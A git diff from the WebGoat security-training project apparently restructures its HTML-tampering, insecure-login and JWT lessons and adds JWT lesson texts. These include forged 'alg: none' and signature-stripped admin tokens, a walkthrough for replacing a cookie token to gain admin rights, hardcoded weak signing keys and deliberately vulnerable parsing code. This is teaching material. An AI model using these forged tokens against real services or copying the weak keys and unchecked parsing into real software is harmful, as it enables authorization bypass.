diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc similarity index 61% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc index 22eb72fa2..631fbe0ae 100755 --- a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc +++ b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc @@ -1,14 +1,14 @@ === Mitigation -In this simple example you noticed that the price is calculated server side and send to the server. The server +In this simple example you noticed that the price is calculated client-side and sent to the server. The server accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up the price of the television in your database and calculate the total price again. -In a real application you should never rely on client side validation it is important to verify all the input -send by the client. Always remember: **NEVER TRUST INPUT SEND BY A CLIENT.** +In a real application you should never rely on client side validation. It is important to verify all the input +sent by the client. Always remember: **NEVER TRUST INPUT SENT BY A CLIENT.** '''' ==== References -https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet +https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html similarity index 94% rename from webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html rename to src/main/resources/lessons/htmltampering/html/HtmlTampering.html index b21ba255a..c40fdd68c 100755 --- a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html +++ b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html @@ -3,18 +3,17 @@
-
+
-
+
+ action="/WebGoat/HtmlTampering/task"> + - - + action="/WebGoat/InsecureLogin/task"> + +


+ action="/WebGoat/InsecureLogin/task"> diff --git a/webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js b/src/main/resources/lessons/insecurelogin/js/credentials.js similarity index 87% rename from webgoat-lessons/insecure-login/src/main/resources/js/credentials.js rename to src/main/resources/lessons/insecurelogin/js/credentials.js index b7387c623..5f4e09e09 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js +++ b/src/main/resources/lessons/insecurelogin/js/credentials.js @@ -1,6 +1,6 @@ function submit_secret_credentials() { var xhttp = new XMLHttpRequest(); - xhttp['open']('POST', '#attack/307/100', true); + xhttp['open']('POST', 'InsecureLogin/login', true); //sending the request is obfuscated, to descourage js reading var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) } \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/src/main/resources/lessons/jwt/css/jwt.css similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/css/jwt.css rename to src/main/resources/lessons/jwt/css/jwt.css diff --git a/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql new file mode 100644 index 000000000..975574373 --- /dev/null +++ b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql @@ -0,0 +1,7 @@ +CREATE TABLE jwt_keys( + id varchar(20), + key varchar(20) +); + +INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234'); +INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter'); diff --git a/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc new file mode 100644 index 000000000..5a111fbc4 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc @@ -0,0 +1,12 @@ +== Decoding a JWT token + +Let's try decoding a JWT token, for this you can use the webWolfLink:JWT[target=jwt] functionality inside WebWolf. +Given the following token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI +---- + +Copy and paste the following token and decode the token, can you find the user inside the token? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_final.adoc b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc new file mode 100644 index 000000000..c39a663dc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc @@ -0,0 +1,5 @@ +== Final challenge + +Below you see two accounts, one of Jerry and one of Tom. Jerry wants to remove Tom's account from Twitter, but his token +can only delete his account. Can you try to help him and delete Toms account? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc new file mode 100644 index 000000000..30273e81c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc @@ -0,0 +1,68 @@ +== JWT libraries + +There are a number of JWT libraries available in the Java ecosystem. Let's look at one of them: + + +The contents of our token is: + +[source] +---- +header: + +{ + "alg": "HS256", + "typ": "JWT" +} + +claims: + +{ + "sub": "1234567890", + "name": "John Doe", + "iat": 1516239022 +} +---- + +[source] +---- +var token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng"; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will work! + +Let's change the header to `{"alg":"none","typ":"JWT"}` +Using the same source as above gives: + +[source] +---- +var token = " eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng"; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will result in: + +[souce] +---- +io.jsonwebtoken.MalformedJwtException: JWT string has a digest/signature, but the header does not reference a valid signature algorithm. +---- + +removing the signature completely (leaving the last `.`) + +[source] +---- +var token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ."; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will result in: + +[source] +---- +io.jsonwebtoken.UnsupportedJwtException: Unsigned Claims JWTs are not supported. +---- + +This is what you would expect from the library! diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc new file mode 100644 index 000000000..89507f79a --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc @@ -0,0 +1,61 @@ +== Code review + +Now let's look at a code review and try to think on an attack with the `alg: none`, so we use the following token: + +[source] +---- +eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0. +---- + +which after decoding becomes: + +[source] +---- +{ + "alg" : "none", + "typ" : "JWT" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- + +Can you spot the weakness? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc new file mode 100644 index 000000000..e1aa7c11c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc @@ -0,0 +1,37 @@ +== Code review (2) + +Same as before but now we are only removing the signature part, leaving the algorithm as is. + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +Using the following `parse` method we are still able to skip the signature check. + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc new file mode 100644 index 000000000..f01c33afc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc @@ -0,0 +1,46 @@ +=== Solution + +In the past assignments we learned to **NOT** trust the libraries to do the correct thing for us. In both cases we saw that even specifying the JWT key and passing the correct algorithm. Even using the token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +And the following Java code: + +[source] +---- +Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); +---- + +You see we set the signing key with `setSigningKey` the library still skips the validation of the signature. + +It is not only limited to the traditional `alg: none` attack, but it also works with the `alg: HS256`. + +=== Conclusion + +When you have chosen a library to help dealing with JWT tokens make sure to: + +- use the correct method in your code when validating tokens. +- add test cases and validate the algorithm confusion is not possible. +- as a security team write a utility methods to be used by the teams which encapsulate the library to make sure the teams use the correct parsing logic. + +=== Alternative: Paseto + +The algorithm confusion is a real problem when dealing with JWTs it can be avoided by using PASETO (**P**latform-**A**gnostic **SE**curity **TO**kens), which is currently implemented in 10 programming languages. +One of the drawbacks of using this method is that JWT is widely spread for example think about using OAuth, so it might not be the best solution to use. + +For more information take a look at the following video: + +video::RijGNytjbOI[youtube, height=480, width=100%] \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc similarity index 75% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc index 0682b666a..ab00249e7 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc +++ b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc @@ -6,7 +6,7 @@ image::images/jwt_diagram.png[style="lesson-image"] {nbsp} + -In this flow you can see the user logs in with a username and password on a successful authentication the server +In this flow, you can see the user logs in with a username and password on successful authentication the server returns. The server creates a new token and returns this one to the client. When the client makes a successive call toward the server it attaches the new token in the "Authorization" header. The server reads the token and first validates the signature after a successful verification the server uses the @@ -14,6 +14,6 @@ information in the token to identify the user. === Claims -The token contains claims to identify the user and all other information necessary for the server to fulfil the request. -Be aware not to store sensitive information in the token and always send them over a secure channel. +The token contains claims to identify the user and all other information necessary for the server to fulfill the request. +Be aware not to store sensitive information in the token and always send it over a secure channel. diff --git a/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc new file mode 100644 index 000000000..b49d6bf60 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc @@ -0,0 +1,9 @@ +=== Best practices + +Some best practices when working with JWT: + +- Fix the algorithm, do not allow a client to switch the algorithm. +- Make sure you use an appropriate key length when using a symmetric key for signing the token. +- Make sure the claims added to the token do not contain personal information. If you need to add more information opt for encrypting the token as well. +- Add sufficient test cases to your project to verify invalid tokens actually do not work. Integration with a third party to check your token does not mean you do not have test your application at all. +- Take a look at the best practices mentioned in https://tools.ietf.org/html/rfc8725#section-2 \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_plan.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc similarity index 93% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc index 571bfcc21..214f3cec8 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc +++ b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc @@ -9,11 +9,11 @@ In this section we touch upon refreshing an access token. === Types of tokens -In general there are two type of tokens: access token and a refresh token. The access token is used for making API +In general there are two types of tokens: an access token and a refresh token. The access token is used for making API calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once -the access token is no longer valid a request can me made towards the server to get a new access token by presenting +the access token is no longer valid a request can be made towards the server to get a new access token by presenting the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user -having to authenticate again with their credentials. Whether you should use a refresh token and access token depends, +having to authenticate again with their credentials. Whether you should use a refresh token and an access token depends, below can find a couple of points to keep in mind while choosing which tokens to use. So a normal flow can look like: @@ -53,7 +53,7 @@ client can use the new access token to make the API call. Regardless of the chosen solution you should store enough information on the server side to validate whether the user is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange -behavior, you can revoke all the tokens an let the user authenticate again). +behavior, you can revoke all the tokens and let the user authenticate again). Also keep track of which access token belonged to which refresh token otherwise an attacker might be able to get a new access token for a different user with the refresh token of the attacker (see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_signing.adoc diff --git a/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc new file mode 100644 index 000000000..9ecff4ce4 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc @@ -0,0 +1,91 @@ +=== Solution + +The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it. + +[quote, https://tools.ietf.org/html/rfc8725#section-2.1] +____ +Signed JSON Web Tokens carry an explicit indication of the signing +algorithm, in the form of the "alg" Header Parameter, to facilitate +cryptographic agility. This, in conjunction with design flaws in +some libraries and applications, has led to several attacks: + +* The algorithm can be changed to "none" by an attacker, and some +libraries would trust this value and "validate" the JWT without +checking any signature. + +* An "RS256" (RSA, 2048 bit) parameter value can be changed into +"HS256" (HMAC, SHA-256), and some libraries would try to validate +the signature using HMAC-SHA256 and using the RSA public key as +the HMAC shared secret (see [McLean] and [CVE-2015-9235]). + +For mitigations, see Sections 3.1 and 3.2. +____ + +What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token. + +==== Solution + +First note that we are logged in as `Guest` so first select a different user for example: Tom. +User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response: + +[source] +---- +GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1 + +access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA +---- + +Decoding the token gives: + +[source] +---- +{ + "alg": "HS512" +} +{ + "iat": 1608128566, + "admin": "false", + "user": "Tom" +} +---- + +We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature? +Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT. +Let's change our token: + +[source] +---- +headers: + +{ + "alg": "none" +} + +claims: + +{ + "iat": 1608128566, + "admin": "true", + "user": "Tom" +} +---- + +If we use WebWolf to create our token we get: + +[source] +---- +eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9 +---- + +Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid. + + + +== References + +For more information take a look at the following video: + +video::wt3UixCiPfo[youtube, height=480, width=100%] + + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_storing.adoc diff --git a/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc new file mode 100644 index 000000000..a2951f6a6 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc @@ -0,0 +1,17 @@ +== Structure of a JWT token + +Let's take a look at the structure of a JWT token: + +[role="lesson-image"] +image::images/jwt_token.png[JWT] + +The token is base64 encoded and consists of three parts: + + - header + - claims + - signature + +Both header and claims consist are represented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT. +The claims represent a JSON object whose members are the claims conveyed by the JWT. + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys similarity index 52% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys rename to src/main/resources/lessons/jwt/documentation/JWT_weak_keys index d57483f2e..e08378c7d 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys +++ b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys @@ -6,8 +6,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin === Assignment -Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. +Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat. -``` -eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM -``` \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/src/main/resources/lessons/jwt/html/JWT.html similarity index 76% rename from webgoat-lessons/jwt/src/main/resources/html/JWT.html rename to src/main/resources/lessons/jwt/html/JWT.html index 9ba14748f..fdf7a5fa6 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/src/main/resources/lessons/jwt/html/JWT.html @@ -1,21 +1,46 @@ + +
+
+
+
+
+
-
+
+
+ + +
+
+
+
+ + + Username: + + + + +
+
+
+ +
+
+
+
+ +
+
-
-
-
-
-
-
-
+
-
@@ -24,8 +49,7 @@
+ action="/WebGoat/JWT/votings">
@@ -38,7 +62,7 @@